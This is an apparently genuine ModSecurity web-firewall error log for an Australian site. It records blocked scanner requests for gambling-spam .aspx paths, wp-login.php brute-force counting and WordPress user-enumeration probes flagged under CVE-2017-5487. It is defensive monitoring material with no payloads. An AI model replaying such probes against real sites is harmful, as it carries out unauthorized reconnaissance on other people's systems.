[Wed Mar 04 20:55:12.222032 2026] [:error] [pid 60620:tid 60635] [client 51.75.119.154:41986] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aagrsIodrRWj-Joks05coAAAAQo"]
[Wed Mar 04 22:55:49.403106 2026] [:error] [pid 60622:tid 60699] [client 94.154.239.69:52934] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aahH9RjlaiZh5Vup4nCRJQAAAEg"]
[Wed Mar 04 22:55:52.015556 2026] [:error] [pid 64829:tid 64831] [client 94.154.239.69:40820] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aahH-J9ZED3FG9h7uignmgAAAAA"]
[Wed Mar 04 22:55:54.552633 2026] [:error] [pid 60621:tid 60687] [client 94.154.239.69:54880] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aahH-lfRSaORpCbdjO2mHgAAANg"]
[Wed Mar 04 22:55:57.048795 2026] [:error] [pid 61723:tid 61749] [client 94.154.239.69:54886] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aahH_T-cYcKSTgnaHK6ADwAAAIw"]
[Wed Mar 04 22:55:59.530982 2026] [:error] [pid 60621:tid 60670] [client 94.154.239.69:54894] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aahH_1fRSaORpCbdjO2mIQAAAMk"]
[Wed Mar 04 22:56:02.133755 2026] [:error] [pid 64829:tid 64846] [client 94.154.239.69:54900] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aahIAp9ZED3FG9h7uignngAAAA8"]
[Wed Mar 04 22:56:04.864963 2026] [:error] [pid 60730:tid 60736] [client 94.154.239.69:53136] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aahIBEeC7wxPGxvN8Zg_BwAAAUQ"]
[Wed Mar 04 22:56:07.378043 2026] [:error] [pid 61723:tid 61746] [client 94.154.239.69:53148] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aahIBz-cYcKSTgnaHK6AKAAAAIk"]
[Wed Mar 04 22:56:10.049700 2026] [:error] [pid 64829:tid 64848] [client 94.154.239.69:53150] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aahICp9ZED3FG9h7uignsAAAABE"]
[Wed Mar 04 22:56:12.538452 2026] [:error] [pid 61723:tid 61745] [client 94.154.239.69:53156] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aahIDD-cYcKSTgnaHK6APAAAAIg"]
[Wed Mar 04 22:56:15.068497 2026] [:error] [pid 64829:tid 64834] [client 94.154.239.69:55660] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aahID59ZED3FG9h7uignugAAAAM"]
[Wed Mar 04 22:56:17.498568 2026] [:error] [pid 61723:tid 61754] [client 94.154.239.69:55674] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aahIET-cYcKSTgnaHK6ARgAAAJE"]
[Wed Mar 04 22:56:20.036064 2026] [:error] [pid 60621:tid 60673] [client 94.154.239.69:55680] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aahIFFfRSaORpCbdjO2mJAAAAMw"]
[Wed Mar 04 22:56:22.525777 2026] [:error] [pid 60622:tid 60708] [client 94.154.239.69:55684] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aahIFhjlaiZh5Vup4nCRKgAAAE8"]
[Wed Mar 04 22:56:24.989589 2026] [:error] [pid 61723:tid 61757] [client 94.154.239.69:45690] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aahIGD-cYcKSTgnaHK6AVAAAAJQ"]
[Wed Mar 04 22:56:27.517322 2026] [:error] [pid 61723:tid 61742] [client 94.154.239.69:45698] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aahIGz-cYcKSTgnaHK6AXAAAAIU"]
[Wed Mar 04 22:56:30.002959 2026] [:error] [pid 61723:tid 61757] [client 94.154.239.69:45714] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aahIHj-cYcKSTgnaHK6AZAAAAJQ"]
[Wed Mar 04 22:56:32.436427 2026] [:error] [pid 61723:tid 61738] [client 94.154.239.69:45728] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aahIID-cYcKSTgnaHK6AcwAAAIE"]
[Wed Mar 04 22:56:34.819409 2026] [:error] [pid 60622:tid 60692] [client 94.154.239.69:54742] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aahIIhjlaiZh5Vup4nCRLwAAAEE"]
[Wed Mar 04 22:56:37.198774 2026] [:error] [pid 60620:tid 60633] [client 94.154.239.69:54754] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aahIJYodrRWj-Joks05k_gAAAQg"]
[Thu Mar 05 00:16:07.038532 2026] [:error] [pid 60622:tid 60694] [client 87.247.142.97:54224] [client 87.247.142.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.247.142.97, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aahaxxjlaiZh5Vup4nCfqAAAAEM"]
[Thu Mar 05 00:22:52.068613 2026] [:error] [pid 27814:tid 27875] [client 5.135.139.120:48664] [client 5.135.139.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.139.120, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aahcXLPcbh1BHIHQb9I8-QAAAMI"]
[Thu Mar 05 00:26:25.681749 2026] [:error] [pid 26966:tid 27029] [client 59.125.102.142:34948] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aahdMRaIQuoePO_dwgcuXwAAAFA"]
[Thu Mar 05 01:08:01.620881 2026] [:error] [pid 27472:tid 27536] [client 23.230.253.193:60220] [client 23.230.253.193] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aahm8bt7N-W1OaN6b8rPSgAAAYU"]
[Thu Mar 05 01:08:05.339976 2026] [:error] [pid 27472:tid 27553] [client 208.109.214.151:46104] [client 208.109.214.151] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aahm9bt7N-W1OaN6b8rPVAAAAZQ"]
[Thu Mar 05 03:35:17.644903 2026] [:error] [pid 45594:tid 45670] [client 122.51.236.174:38950] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaiJdYi281gQdrjQoutDggAAAIE"]
[Thu Mar 05 07:01:01.914855 2026] [:error] [pid 62173:tid 62264] [client 101.190.28.69:63425] [client 101.190.28.69] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "177.76.46.126_23b69864653a3bfa625a1692221f158b8eeb986c"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/elementor/css/post-2211.css"] [unique_id "aai5qmj_GWbFb-1ncGk9_QAAAAw"], referer: https://vetstars.com.au/
[Thu Mar 05 07:35:30.464295 2026] [:error] [pid 41459:tid 41496] [client 51.68.235.235:55132] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aajBwudFBZEnZ3pzxrVNIQAAAVY"]
[Thu Mar 05 07:35:32.892755 2026] [:error] [pid 41459:tid 41496] [client 51.68.235.235:33706] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aajBxOdFBZEnZ3pzxrVNKgAAAVY"]
[Thu Mar 05 07:35:35.380584 2026] [:error] [pid 41459:tid 41483] [client 51.68.235.235:33730] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aajBx-dFBZEnZ3pzxrVNOQAAAUk"]
[Thu Mar 05 07:35:37.829939 2026] [:error] [pid 41459:tid 41491] [client 51.68.235.235:53832] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aajByedFBZEnZ3pzxrVNRwAAAVE"]
[Thu Mar 05 07:35:40.396282 2026] [:error] [pid 41459:tid 41489] [client 51.68.235.235:53850] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aajBzOdFBZEnZ3pzxrVNUwAAAU8"]
[Thu Mar 05 07:35:42.831239 2026] [:error] [pid 41459:tid 41492] [client 51.68.235.235:53856] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aajBzudFBZEnZ3pzxrVNXwAAAVI"]
[Thu Mar 05 07:35:45.238864 2026] [:error] [pid 53350:tid 53379] [client 51.68.235.235:53872] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aajB0aO0Baxc5WFYeP2cPAAAAQQ"]
[Thu Mar 05 07:35:47.682070 2026] [:error] [pid 53350:tid 53400] [client 51.68.235.235:54408] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aajB06O0Baxc5WFYeP2cVQAAARc"]
[Thu Mar 05 07:35:50.078348 2026] [:error] [pid 62176:tid 62300] [client 51.68.235.235:54420] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aajB1iNfTPJryi30JPmpLwAAAFA"]
[Thu Mar 05 07:35:52.438018 2026] [:error] [pid 62435:tid 62460] [client 51.68.235.235:54436] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aajB2CMZJMDfZh_-8sXNgwAAAMo"]
[Thu Mar 05 07:35:54.974406 2026] [:error] [pid 41459:tid 41495] [client 51.68.235.235:54444] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aajB2udFBZEnZ3pzxrVNqAAAAVU"]
[Thu Mar 05 07:35:57.346694 2026] [:error] [pid 53350:tid 53378] [client 51.68.235.235:49342] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aajB3aO0Baxc5WFYeP2cbwAAAQM"]
[Thu Mar 05 07:35:59.905360 2026] [:error] [pid 53350:tid 53393] [client 51.68.235.235:49362] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aajB36O0Baxc5WFYeP2cfQAAARA"]
[Thu Mar 05 07:36:02.290060 2026] [:error] [pid 62177:tid 62318] [client 51.68.235.235:49380] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aajB4hWSQc2OzPrsnwUxrQAAAIc"]
[Thu Mar 05 07:36:04.857376 2026] [:error] [pid 41459:tid 41492] [client 51.68.235.235:49406] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aajB5OdFBZEnZ3pzxrVN7QAAAVI"]
[Thu Mar 05 07:36:07.400673 2026] [:error] [pid 62176:tid 62286] [client 51.68.235.235:53394] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aajB5yNfTPJryi30JPmpOAAAAEI"]
[Thu Mar 05 07:36:09.786120 2026] [:error] [pid 53350:tid 53401] [client 51.68.235.235:53410] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aajB6aO0Baxc5WFYeP2cigAAARg"]
[Thu Mar 05 07:36:12.185811 2026] [:error] [pid 41459:tid 41479] [client 51.68.235.235:53424] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aajB7OdFBZEnZ3pzxrVOBgAAAUU"]
[Thu Mar 05 07:36:14.735965 2026] [:error] [pid 62435:tid 62455] [client 51.68.235.235:53444] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aajB7iMZJMDfZh_-8sXNkQAAAMU"]
[Thu Mar 05 07:36:17.089696 2026] [:error] [pid 53350:tid 53375] [client 51.68.235.235:37188] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aajB8aO0Baxc5WFYeP2clAAAAQA"]
[Thu Mar 05 07:36:19.620815 2026] [:error] [pid 62176:tid 62288] [client 51.68.235.235:37200] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aajB8yNfTPJryi30JPmpPQAAAEQ"]
[Thu Mar 05 07:36:22.142036 2026] [:error] [pid 62173:tid 62274] [client 51.68.235.235:37214] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aajB9mj_GWbFb-1ncGlAbQAAABQ"]
[Thu Mar 05 07:36:24.538116 2026] [:error] [pid 62177:tid 62314] [client 51.68.235.235:37232] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aajB-BWSQc2OzPrsnwUxywAAAIM"]
[Thu Mar 05 07:36:46.942437 2026] [:error] [pid 53350:tid 53376] [client 51.68.235.235:49492] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aajCDqO0Baxc5WFYeP2c2AAAAQE"]
[Thu Mar 05 07:36:49.412702 2026] [:error] [pid 62435:tid 62465] [client 51.68.235.235:39142] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aajCESMZJMDfZh_-8sXNwQAAAM8"]
[Thu Mar 05 07:36:51.904859 2026] [:error] [pid 62177:tid 62327] [client 51.68.235.235:39162] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aajCExWSQc2OzPrsnwUx3AAAAI8"]
[Thu Mar 05 07:36:54.429508 2026] [:error] [pid 62177:tid 62320] [client 51.68.235.235:39182] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aajCFhWSQc2OzPrsnwUx3gAAAIk"]
